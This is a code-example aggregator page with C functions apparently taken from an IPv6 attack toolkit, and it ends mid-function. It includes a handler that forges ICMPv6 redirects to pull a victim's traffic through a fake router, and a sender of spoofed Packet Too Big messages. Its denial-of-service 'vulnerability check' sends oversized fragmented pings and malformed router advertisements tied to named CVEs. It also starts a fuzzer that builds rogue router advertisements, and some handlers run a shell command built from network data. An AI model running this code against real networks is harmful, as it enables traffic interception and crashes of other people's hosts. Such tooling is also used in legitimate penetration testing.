Пример #1
0
void check_packets(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) {
  unsigned char *ptr = (unsigned char *) data;
  int len = header->caplen, i, j;

  if (rawmode == 0) {
    if (do_hdr_size) {
      ptr += do_hdr_size;
      len -= do_hdr_size;
      if ((ptr[0] & 240) != 0x60)
        return;
    } else {
      ptr += 14;
      len -= 14;
    }
  }

  if (debug)
    thc_dump_data(ptr, len, "Received Packet");
  if (ptr[6] == 0x3a && ptr[40] == ICMP6_INVNEIGHBORADV && len >= 56) {
    done = 1;
    j = (len - 56) / 16;
    if (j == 0) {
      printf("Empty Inverse Neighbor Discovery message received by %s for %s\n", thc_ipv62notation((char *) ptr + 8), mac);
    } else {
      printf("Inverse Advertisement Discovery message received by %s for %s (%d entries):\n", thc_ipv62notation((char *) ptr + 8), mac, j);
      for (i = 0; i < j; i++)
        printf("  %s\n", thc_ipv62notation((char *) ptr + 56 + i * 16));
    }
  }
}
void intercept(u_char * foo, const struct pcap_pkthdr *header, const unsigned char *data) {
  unsigned char *ipv6hdr = (unsigned char *) (data + 14);

  if (debug) {
    printf("DEBUG: packet received\n");
    thc_dump_data((unsigned char *) data, header->caplen, "Received Packet");
  }
  if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_NEIGHBORSOL || header->caplen < 78)
    return;
  if (*(data + 22) + *(data + 23) + *(data + 24) + *(data + 25) + *(data + 34) + *(data + 35) + *(data + 36) + *(data + 37) != 0)
    return;
  if (debug)
    printf("DEBUG: packet is a valid duplicate ip6 check via icmp6 neighbor solitication\n");

  ptr4 = thc_ipv62notation((char *) (data + 62));
  printf("Detected new ip6 address: %s\n", ptr4);

  if (script != NULL && fork() == 0) {
    sprintf(es, "%s %s", script, ptr4);
    if (system(es) < 0)
      fprintf(stderr, "Error: Executing failed - %s\n", es);
    exit(0);
  }

  free(ptr4);
  (void) wait3(NULL, WNOHANG, NULL);
  return;
}
Пример #3
0
void send_toobig(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) {
  unsigned char *ipv6hdr, *target;
  int len = header->caplen;
  
  if (do_hdr_size) {
    ipv6hdr = (unsigned char *) (data + do_hdr_size);
    len = header->caplen - do_hdr_size;
    if ((ipv6hdr[0] & 240) != 0x60)
      return;
    offset = do_hdr_size;
  } else {
    ipv6hdr = (unsigned char *) (data + offset);
    len = header->caplen - offset;
  }

  if (ip6 != NULL && memcmp(ip6, ipv6hdr + 8, 16) != 0) // is it the target?
    return;
  if (ipv6hdr[6] == NXT_ICMP6 && ipv6hdr[40] < 128) // no ICMP Errors
    return;

  thc_toobig6(interface, src6, mac6, NULL, mtu, ipv6hdr, len);

  target = thc_ipv62notation(ipv6hdr + 8);
  printf("Sent TooBig packet to %s\n", target);
  free(target);

  if (loop == 0) // do we loop?
    go = 0;
}
Пример #4
0
void intercept(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) {
  char *ptr, *ptr2;
  
  // packet is to the real router, and is not from us?
  if (memcmp(realownmac, data + 6, 6) == 0 || memcmp(fakemac, data, 6) != 0)
    return;

  // check that source and dest are routed

  // same network?
  if (memcmp(data + 14 + 8, data + 14 + 8 + 16, 8) == 0)
    return;
  // dst fe.. or ff.. or 00?
  if (data[14 + 8 + 16] >= 0xfe || data[14 + 8 + 16] == 0)
    return;
  // src fe.. or ff.. or 00?
  if (data[14 + 8 + 16] >= 0xfe || data[14 + 8 + 16] == 0)
    return;

  if (src6 != NULL) { // victim wildcard? if not, check src
    if (memcmp(src6, data + 14 + 8, 16) != 0)
      return;
  } else { // victim wildcard - we have to ensure that the source is local -> hop count!
    if (data[14 + 7] != 64 && data[14 + 7] != 128 && data[14 + 7] != 255)
      return;
  }
  if (dest6 != NULL) // destination wildcard? if not, check dst
    if (memcmp(dest6, data + 14 + 8 + 16, 16) != 0)
      return;
  
  thc_redir6(interface, oldrouter6, fakemac, (unsigned char*)data + 6, newrouter6, mac6, (unsigned char*)data + 14, header->caplen - 14);

  ptr = thc_ipv62notation((unsigned char*)data + 14 + 8);
  ptr2 = thc_ipv62notation((unsigned char*)data + 14 + 8 + 16);
  printf("Sent ICMPv6 redirect for %s -> %s\n", ptr, ptr2);
  free(ptr);
  free(ptr2);
}
Пример #5
0
void intercept(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) {
  unsigned char *ipv6hdr = (unsigned char *) (data + 14);
  int len = header->caplen - 14;
  
  if (do_hdr_size) {
    ipv6hdr = (unsigned char *) (data + do_hdr_size);
    len = header->caplen - do_hdr_size;
    if ((ipv6hdr[0] & 240) != 0x60)
      return;
  }

  if (debug) {
    printf("DEBUG: packet received\n");
    thc_dump_data((unsigned char *) data, header->caplen, "Received Packet");
  }
  if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_NEIGHBORSOL || len < 64)
    return;
  if (*(ipv6hdr + 8) + *(ipv6hdr + 9) + *(ipv6hdr + 10) + *(ipv6hdr + 11) + *(ipv6hdr + 12) + *(ipv6hdr + 13) + *(ipv6hdr + 14) + *(ipv6hdr + 15) != 0)
    return;
  if (debug)
    printf("DEBUG: packet is a valid duplicate ip6 check via icmp6 neighbor solitication\n");

  (void) wait3(NULL, WNOHANG, NULL);
  ptr4 = thc_ipv62notation((char *) (ipv6hdr + 48));
  printf("Detected new ip6 address: %s\n", ptr4);

  if (script != NULL && fork() == 0) {
    snprintf(es, sizeof(es), "%s %s %s", script, ptr4, interface);
    if (system(es) < 0)
      fprintf(stderr, "Error: Executing failed - %s\n", es);
    exit(0);
  }

  free(ptr4);
  return;
}
Пример #6
0
int main(int argc, char *argv[]) {
  int test = 0, count = 1, tmplen;
  unsigned char buf[1500], bla[1500], tests[256], string[64] = "ip6 and dst ", string2[64] = "ip6 and src ";
  unsigned char *dst6, *ldst6 = malloc(16), *src6, *lsrc6, *mcast6, *route6, *mal;
  unsigned char *srcmac = NULL, *dstmac = NULL, *routers[2], null_buffer[6];
  thc_ipv6_hdr *hdr;
  int i = 0, j, srcmtu, fragsize, offset = 14;
  pcap_t *p;
  unsigned char *pkt = NULL, *pkt2 = NULL, *pkt3 = NULL;
  int pkt_len = 0, pkt_len2 = 0, pkt_len3 = 0, noping = 0, mtu = 1500;
  char *interface;
  thc_ipv6_hdr *ipv6;

  if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  if (strcmp(argv[1], "-r") == 0) {
    thc_ipv6_rawmode(1);
    rawmode = 1;
    argv++;
    argc--;
  }
  if (strcmp(argv[1], "-p") == 0) {
    noping = 1;
    argv++;
    argc--;
  }
  
  if (do_hdr_size)
    offset = do_hdr_size;

  interface = argv[1];
  dst6 = thc_resolve6(argv[2]);
  route6 = thc_resolve6("2a01::");
  memcpy(ldst6, dst6, 16);
  memset(ldst6 + 2, 0, 6);
  ldst6[0] = 0xfe;
  ldst6[1] = 0x80;
  mcast6 = thc_resolve6("ff02::1");
  if (argc >= 4)
    test = atoi(argv[3]);
  memset(buf, 0, sizeof(buf));
  memset(null_buffer, 0, sizeof(null_buffer));

  src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL);
  if ((lsrc6 = thc_get_own_ipv6(interface, ldst6, PREFER_LINK)) == NULL) {
    fprintf(stderr, "Error: invalid interface %s\n", interface);
    exit(-1);
  }
  strcat(string, thc_ipv62notation(src6));
  strcat(string2, thc_ipv62notation(dst6));
  srcmac = thc_get_own_mac(interface);
  if (rawmode == 0) {
    if ((dstmac = thc_get_mac(interface, src6, dst6)) == NULL) {
      fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]);
      exit(-1);
    }
  } else
    dstmac = null_buffer;
  if ((srcmtu = thc_get_mtu(interface)) <= 0) {
    fprintf(stderr, "ERROR: can not get mtu from interface %s\n", interface);
    exit(-1);
  }
  if (do_hdr_size)
    srcmtu -= (do_hdr_size - 14);
  fragsize = ((srcmtu - 62) / 8) * 8;

  if ((p = thc_pcap_init(interface, string)) == NULL) {
    fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
    exit(-1);
  }

  setvbuf(stdout, NULL, _IONBF, 0);
  memset(tests, 0, sizeof(tests));

  printf("Performing vulnerability checks on %s via %s:\n", argv[2], argv[1]);
  if (noping == 0 && check_alive(p, interface, src6, dst6) == 0) {
    fprintf(stderr, "Error: target %s is not alive via direct ping6!\n", argv[2]);
    exit(-1);
  } else
    printf("Test  0: normal ping6\t\t\t\tPASSED - we got a reply\n");

  /********************** TEST CASES ************************/

  if (test == 0 || test == count) {     // 1432
    printf("Test %2d: CVE-NONE overlarge ping, 6 checksum combinations\n", count);
    tmplen = 65864;
    if ((mal = malloc(tmplen)) == NULL)
      return -1;
    memset(mal, count % 256, tmplen);
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, mal, tmplen, 0);
    if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
    hdr = (thc_ipv6_hdr *) pkt;
    if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
      return -1;
    // because of the different possible checksum calculations we have to do them all
    hdr->pkt[offset + 40 + 3] = 0xe5;
    if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
      return -1;
    hdr->pkt[offset + 40 + 2] = 0x98;
    hdr->pkt[offset + 40 + 3] = 0xa4;
    if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
      return -1;
    hdr->pkt[offset + 40 + 3] = 0xa3;
    if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
      return -1;
    hdr->pkt[offset + 40 + 2] = 0x84;
    hdr->pkt[offset + 40 + 3] = 0x90;
    if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
      return -1;
    hdr->pkt[offset + 40 + 3] = 0x8f;
    if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
      return -1;
    free(mal);
    pkt = thc_destroy_packet(pkt);
  }
  count++;

  if (test == 0 || test == count) {     // 1432
    printf("Test %2d: CVE-NONE large ping, 3 checksum combinations\n", count);
    tmplen = 65527;
    if ((mal = malloc(tmplen)) == NULL)
      return -1;
    memset(mal, count % 256, tmplen);
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, mal, tmplen, 0);
    if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
    hdr = (thc_ipv6_hdr *) pkt;
    if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0)
      return -1;
    // because of the different possible checksum calculations we have to do them all
    hdr->pkt[offset + 40 + 2] = 0x31;
    hdr->pkt[offset + 40 + 3] = 0x8c;
    thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize);
    hdr->pkt[offset + 40 + 3] = 0x8a;
    thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize);
    free(mal);
    pkt = thc_destroy_packet(pkt);
  }
  count++;

  if (test == 0 || test == count) {
    printf("Test %2d: CVE-2003-0429 bad prefix length (little information, implementation unsure\n", count);
    memset(bla, count % 256, sizeof(bla));
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    memset(buf, 0, sizeof(buf));
    buf[6] = 4;                 // 4-7: retrans timer
    // option mtu
    buf[8] = 5;
    buf[9] = 1;
    buf[12] = mtu / 16777216;
    buf[13] = (mtu % 16777216) / 65536;
    buf[14] = (mtu % 65536) / 256;
    buf[15] = mtu % 256;
    // option prefix
    buf[16] = 3;
    buf[17] = 4;
    buf[18] = 128;              // prefix length // BUG IS HERE
    buf[19] = 128 + 64;
    memset(&buf[20], 17, 4);
    memset(&buf[24], 4, 4);
    memcpy(&buf[32], route6, 16);
    i += 28;
    // mac address option
    buf[i++] = 1;
    buf[i++] = 1;
    memcpy(buf + i, srcmac, 6);
    i += 6;
    // default route routing option
    buf[i++] = 0x18;            // routing entry option type
    buf[i++] = 0x03;            // length 3 == 24 bytes
    buf[i++] = 0x00;            // prefix length
    buf[i++] = 0x08;            // priority, highest of course
    i += 2;                     // 52-53 unknown
    buf[i++] = 0x11;            // lifetime, word
    buf[i++] = 0x11;            // lifetime, word
    i += 16;                    // 56-71 address, all zeros for default
    thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0);
    if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
    pkt = thc_destroy_packet(pkt);
  }
  count++;

  if (test == 0 || test == count) {
    printf("Test %2d: CVE-2004-0257 ping, send toobig on reply, then SYN pkt\n", count);
    memset(bla, count % 256, sizeof(bla));
    memset(buf, 0, sizeof(buf));
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 64, 0, 0, 0, 0)) == NULL)
      return -1;
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, (unsigned char *) &bla, 68, 0) < 0)
      return -1;
    if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
    ipv6 = (thc_ipv6_hdr *) pkt;
    thc_inverse_packet(ipv6->pkt + offset, ipv6->pkt_len - offset);
    sleep(1);
    thc_toobig6(interface, src6, srcmac, dstmac, 68, ipv6->pkt + offset, ipv6->pkt_len - offset);
    i = 0;
    while (ports[i] != 0) {
      if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL)
        return -1;
      if (thc_add_tcp(pkt, &pkt_len, 1100 + i * 100, ports[i], i * 1000, 0, TCP_SYN, 5760, 0, NULL, 0, NULL, 0) < 0)
        return -1;
      if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
        return -1;
      pkt = thc_destroy_packet(pkt);
      pkt_len = 0;
      i++;
    }
  }
  count++;

/*
  if (test == 0 || test == count) {
    printf("Test %2d: CVE-20\n", count);
    memset(bla, count % 256, sizeof(bla));
    memset(buf, 0, sizeof(buf));
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    buf[0] = 0;
    thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0);
    if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
    pkt = thc_destroy_packet(pkt);
  }
  count++;

  if (test == 0 || test == count) {
    printf("Test %2d: CVE-20\n", count);
    memset(bla, count % 256, sizeof(bla));
    memset(buf, 0, sizeof(buf));
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    buf[0] = 0;
    thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0);
    if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
    pkt = thc_destroy_packet(pkt);
  }
  count++;
*/
/*
  if (test == 0 || test == count) {
    printf("Test %2d: CVE-20\n", count);
    memset(bla, count%256, sizeof(bla));
    memset(buf, 0, sizeof(buf));
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    buf[0] = 0;
    thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0);
    if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
    pkt = thc_destroy_packet(pkt);
  }
  count++;
*/

  // more?

  /******************* END OF TESTCASES ***************************/

  if (noping == 1 || check_alive(p, interface, src6, dst6))
    printf("Test %2d: normal ping6 (still alive?)\t\tPASSED - we got a reply\n", count);
  else
    printf("Test %2d: normal ping6 (still alive?)\t\tFAILED - target is unavailable now!\n", count);

  thc_pcap_close(p);

  return 0;
}
Пример #7
0
int main(int argc, char *argv[]) {
  unsigned char *pkt = NULL, *pkt_bak, *mcast6, *someaddr6 = NULL;
  unsigned char *dst6, *src6 = NULL, *mac = NULL, *routers[2], string[64] = "ip6 and dst ";
  int test_start = 0, fragment = 0, alert = 0, sroute = 0;
  int do_type = DO_PING, do_alive = 1, hopbyhop = 0, destination = 0, jumbo = 0;
  int pkt_len = 0, offset = 0, test_current = 0, i, j, k, do_fuzz = 1, test_ptr = 0;
  int test_end = TEST_MAX, ping = NEVER, frag_offset = 0, header = 0, no_send = 1;
  int test_pos = 0, test_cnt = 0, do_it, extend = 0, mtu = 1500, size = 64, wait = 0, off2 = 14;
  char *interface, fuzzbuf[256], *srcmac, *dns, *route6, *real_dst6 = NULL;
  unsigned char buf[256], buf2[100], buf3[16];
  unsigned short int *sip;
  pcap_t *p;
  thc_ipv6_hdr *hdr;

  if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  while ((i = getopt(argc, argv, "s:0123456789Xxt:T:p:FSDHRIJan:")) >= 0) {
    switch (i) {
    case 's':
      do_type = DO_TCP;
      port = atoi(optarg);
      break;
    case '0':
      do_type = DO_NODEQUERY;
      break;
    case '1':
      do_type = DO_PING;
      break;
    case '2':
      do_type = DO_NEIGHSOL;
      break;
    case '3':
      do_type = DO_NEIGHADV;
      break;
    case '4':
      do_type = DO_RA;
      break;
    case '5':
      do_type = DO_MLD_REP;
      break;
    case '6':
      do_type = DO_MLD_DONE;
      break;
    case '7':
      do_type = DO_MLD_QUERY;
      wait = 0xff0000;
      break;
    case '8':
      do_type = DO_MLD2_REPORT;
      break;
    case '9':
      do_type = DO_MLD2_QUERY;
      wait = 0xff0000;
      break;
    case 'X':
      do_type = DO_NONE;
      break;
    case 't':
      test_start = atoi(optarg);
      break;
    case 'T':
      test_end = test_start = atoi(optarg);
      break;
    case 'p':
      ping = atoi(optarg);
      break;
    case 'a':
      do_alive = 0;
      break;
    case 'S':
      sroute = 1;
      break;
    case 'n':
      no_send = atoi(optarg);
      break;
    case 'F':
      fragment = 1;
      break;
    case 'R':
      alert = 1;
      break;
    case 'D':
      destination = 1;
      break;
    case 'H':
      hopbyhop = 1;
      break;
    case 'J':
      jumbo = 1;
      break;
    case 'I':
      header = 1;
      break;
    case 'x':
      extend = 1;
      break;
    }
  }
  if (argc - optind < 2) {
    fprintf(stderr, "ERROR: not enough options, interface and target address are required!\n");
    exit(-1);
  }
  interface = argv[optind];
  if ((srcmac = thc_get_own_mac(interface)) == NULL) {
    fprintf(stderr, "ERROR: %s is not a valid interface which has a MAC, use raw mode?\n", interface);
    exit(-1);
  }
  if (no_send < 1) {
    fprintf(stderr, "ERROR: -n number must be between one and 2 billion\n");
    exit(-1);
  }
  if (do_hdr_size) {
    test_pos -= do_hdr_size;
    offset -= do_hdr_size;
    off2 = do_hdr_size;
  }
  if (do_type != DO_PING && do_type != DO_TCP && do_type != DO_NONE) {
    if ((mcast6 = thc_resolve6(argv[optind + 1])) == NULL) {
      fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[optind + 1]);
      exit(-1);
    }

    if (do_type == DO_NEIGHSOL) {
      dst6 = thc_resolve6("ff02::0001:ff00:0000");
      memcpy(dst6 + 13, mcast6 + 13, 3);
    } else
      dst6 = thc_resolve6("ff02::1");
  } else {
    dst6 = thc_resolve6(argv[optind + 1]);
  }
  if (argv[optind + 1] != NULL)
    if ((real_dst6 = thc_resolve6(argv[optind + 1])) == NULL) {
      fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[optind + 1]);
      exit(-1);
    }


  if (interface == NULL || argv[optind + 1] == NULL) {
    printf("Error: interface and target-ipv6-address are mandatory command line options\n");
    exit(-1);
  }
  if (ping < 1 || test_end < test_start) {
    printf("don't f**k up the command line options!\n");
    exit(-1);
  }
  if (argv[optind + 2] != NULL)
    someaddr6 = thc_resolve6(argv[optind + 2]);
  if (argc - optind > 3) {
    printf("Error: too many command line options\n");
    exit(-1);
  }
  if ((mac = thc_get_mac(interface, src6, dst6)) == NULL) {
    fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]);
    exit(-1);
  }

  if (do_type == DO_PING || do_type == DO_TCP || do_type == DO_NONE)
    src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL);
  else
    src6 = thc_get_own_ipv6(interface, dst6, PREFER_LINK);
  if (src6 == NULL) {
    fprintf(stderr, "Error: no IPv6 address configured on interface %s\n", interface);
    exit(-1);
  }
  strcat(string, thc_ipv62notation(src6));
  if (sroute) {
    if (someaddr6 != NULL)
      routers[0] = someaddr6;
    else
      routers[0] = dst6;
    routers[1] = NULL;
  }
  setvbuf(stdout, NULL, _IONBF, 0);
  memset(buf, 0, sizeof(buf));
  memset(buf2, 0, sizeof(buf2));
  dns = thc_resolve6("ff02::fb");
  route6 = thc_resolve6("2a01::");

  if ((p = thc_pcap_init(interface, string)) == NULL) {
    fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
    exit(-1);
  }
  if (real_dst6 != NULL && real_dst6[0] == 0xff)
    do_alive = 0;
  // ping before to check if it works
  if (do_alive)
    if (check_alive(p, interface, srcmac, mac, src6, real_dst6) == 0) {
      // fprintf(stderr, "Error: target %s is not alive via direct ping6!\n", argv[optind + 1]);
      // exit(-1);
    }
  // generate basic packet
  strcpy(fuzzbuf, fuzztype_ether);
  if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL)
    return -1;
  if (header)
    strcat(fuzzbuf, fuzztype_ip6);
  else
    strcat(fuzzbuf, fuzztype_ip6no);

  if (alert || hopbyhop || jumbo) {
    memset(buf2, 0, sizeof(buf2));
    i = 0;

    if (alert) {
      buf2[i++] = 5;
      buf2[i++] = 2;
      i += 2;
      strcat(fuzzbuf, ".F.F");
    }

    if (jumbo) {
      buf2[i++] = 0xc2;
      buf2[i++] = 4;
      buf2[i++] = 'J';          // lookup code
      buf2[i++] = 'J';
      buf2[i++] = 'J';
      buf2[i++] = 'J';
      strcat(fuzzbuf, ".FBBBB");
    }

    if (hopbyhop) {
      memset(buf3, 0, sizeof(buf3));
      buf3[0] = 'X';
      buf3[1] = '.';
      for (j = 0; j < 10; j++) {
        buf2[i++] = 1;          // PadN, length
        buf2[i++] = j;
        if (j > 0) {
          memset(buf2 + i, 0xaa, j);
          buf3[2 + j] = '.';
          i += j;
        }
        strcat(fuzzbuf, buf3);  // always: X... for every new option
      }
    }

    if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, i) < 0)
      return -1;

    i += 2;
    if (i % 8 > 0)
      i = ((i / 8) + 1) * 8;

    offset += i;
  }

  if (sroute) {
    if (thc_add_hdr_route(pkt, &pkt_len, routers, 1) < 0)
      return -1;
    else {
      strcat(fuzzbuf, "FFFFBBBB................");
      offset += 24;
    }
  }

  if (fragment) {
    frag_offset = offset;
    if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 0, 0) < 0)
      return -1;
    else {
      strcat(fuzzbuf, "FFWW..");
      offset += 8;
    }
  }

  if (destination) {
    memset(buf2, 0, sizeof(buf2));
    memset(buf3, 0, sizeof(buf3));
    buf3[0] = 'X';
    buf3[1] = '.';
    i = 0;
    for (j = 0; j < 10; j++) {
      buf2[i++] = 1;            // PadN, length
      buf2[i++] = j;
      if (j > 0) {
        memset(buf2 + i, 0xaa, j);
        buf3[2 + j] = '.';
        i += j;
      }
      strcat(fuzzbuf, buf3);    // always: X... for every new option
    }

    if (thc_add_hdr_dst(pkt, &pkt_len, buf2, i) < 0)
      return -1;

    i += 2;
    if (i % 8 > 0)
      i = ((i / 8) + 1) * 8;

    offset += i;
  }

  memset(buf, 0, sizeof(buf));
//  if (header)
    strcat(fuzzbuf, fuzztype_icmp6);
//  else
//    strcat(fuzzbuf, fuzztype_icmp6no);
  switch (do_type) {
  case DO_TCP:
    // tcp options
    buf[0] = 2; // max segment size
    buf[1] = 4;
    buf[2] = 255;
    buf[3] = 255;
    buf[4] = 3; // windows size
    buf[5] = 3;
    buf[6] = 62;
    buf[7] = 1; // padding
    buf[8] = 8; // timestamp
    buf[9] = 10;
    buf[10] = time(NULL) / 16777216;
    buf[11] = ((time(NULL) / 65536) % 256);
    buf[12] = ((time(NULL) / 256) % 256);
    buf[13] = time(NULL) % 256;
    // 4 bytes ack tstamp 00000000
    // rest is padding (2 bytes)
    if (thc_add_tcp(pkt, &pkt_len, 65532, port, test_current, 0, TCP_SYN, 5760, 0, (unsigned char *) buf, 20, (unsigned char *) buf, 20) < 0)
      return -1;
    strcat(fuzzbuf, fuzztype_tcp);
    break;

  case DO_PING:
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, test_current, (unsigned char *) &buf, 16, 0) < 0)
      return -1;
    strcat(fuzzbuf, fuzztype_icmp6ping);
    break;
    
  case DO_NONE:
    // empty
    break;

  case DO_NEIGHSOL:
    if (someaddr6 != NULL)
      memcpy(buf, someaddr6, 16);
    else
      memcpy(buf, mcast6, 16);
    buf[16] = 1;
    buf[17] = 1;
    memcpy(buf + 18, srcmac, 6);
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORSOL, 0, 0, (unsigned char *) &buf, 24, 0) < 0)
      return -1;
    strcat(fuzzbuf, fuzztype_icmp6ns);
    break;

  case DO_NEIGHADV:
    if (someaddr6 != NULL)
      memcpy(buf, someaddr6, 16);
    else
      memcpy(buf, src6, 16);
    buf[16] = 2;
    buf[17] = 1;
    memcpy(buf + 18, srcmac, 6);
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, 0xe0000000, (unsigned char *) &buf, 24, 0) < 0)
      return -1;
    strcat(fuzzbuf, fuzztype_icmp6na);
    break;
    
  case DO_NODEQUERY:
    memcpy(buf + 8, real_dst6, 16);
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NODEQUERY, 0, 0x0003003e, (unsigned char *) &buf, 24, 0) < 0)
      return -1;
    strcat(fuzzbuf, fuzztype_icmp6nq);
    break;    

  case DO_RA:
    //  buf[3] = 250; // 0-3: reachable timer
    buf[6] = 4;                 // 4-7: retrans timer
    // option mtu
    buf[8] = 5;
    buf[9] = 1;
    buf[12] = mtu / 16777216;

    buf[14] = (mtu % 65536) / 256;
    buf[15] = mtu % 256;
    // option prefix
    buf[16] = 3;
    buf[17] = 4;
    buf[18] = size;             // prefix length
    buf[19] = 128 + 64;
    memset(&buf[20], 17, 4);
    memset(&buf[24], 4, 4);
    if (someaddr6 != NULL)
      memcpy(&buf[32], someaddr6, 16);
    else
      memcpy(&buf[32], route6, 16);

    i = 48;
    // mac address option
    buf[i++] = 1;
    buf[i++] = 1;
    memcpy(buf + i, srcmac, 6);
    i += 6; // = 8 == 56

    // default route routing option
    buf[i++] = 0x18;            // routing entry option type
    buf[i++] = 0x03;            // length 3 == 24 bytes
    buf[i++] = 64;            // prefix length /64
    buf[i++] = 0x08;            // priority, highest of course
    i += 2;                     // 52-53 unknown
    buf[i++] = 0x11;            // lifetime, word
    buf[i++] = 0x11;            // lifetime, word
    buf[i++] = 0x20;
    buf[i++] = 4;               // 56-71 address, 2004:: for default
    i += 14; // = 24 == 70               

    // dns option
    buf[i++] = 0x19;            // dns option type
    buf[i++] = 0x03;            // length
    i += 2;                     // 74-75 reserved
    memset(buf + i, 1, 4);      // validity time
    i += 4;
    if (someaddr6 != NULL)
      memcpy(buf + i, someaddr6, 16);   // dns server
    else
      memcpy(buf + i, dns, 16); // dns server
    i += 16; // = 24 == 94

    // seachlist option
    buf[i++] = 31;
    buf[i++] = 4;
    i += 2;
    memset(buf + i, 1, 4);      // validity time
    i += 4;
    buf[i++] = 3;
    memcpy(buf + i, "foo", 3);
    i += 3;
    buf[i++] = 4;
    memcpy(buf + i, "corp", 4);
    i += 5; // + null byte
    buf[i++] = 5;
    memcpy(buf + i, "local", 5);
    i += 5;
    buf[i++] = 6;
    memcpy(buf + i, "domain", 6);
    i += 7; // + null byte
    // = 32 == 126
    
    // flag extension option
    buf[i++] = 26;
    buf[i++] = 1;
    buf[i++] = 0x08;
    i += 5;

    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff080800, buf, i, 0) < 0)
      return -1;
    strcat(fuzzbuf, fuzztype_icmp6ra);
    break;

  case DO_MLD_QUERY:
  case DO_MLD_DONE:
  case DO_MLD_REP:
    buf[0] = 0xff;
    buf[1] = 0x02;
    buf[15] = 0x05;
    if (someaddr6 != NULL)
      memcpy(buf, someaddr6, 16);
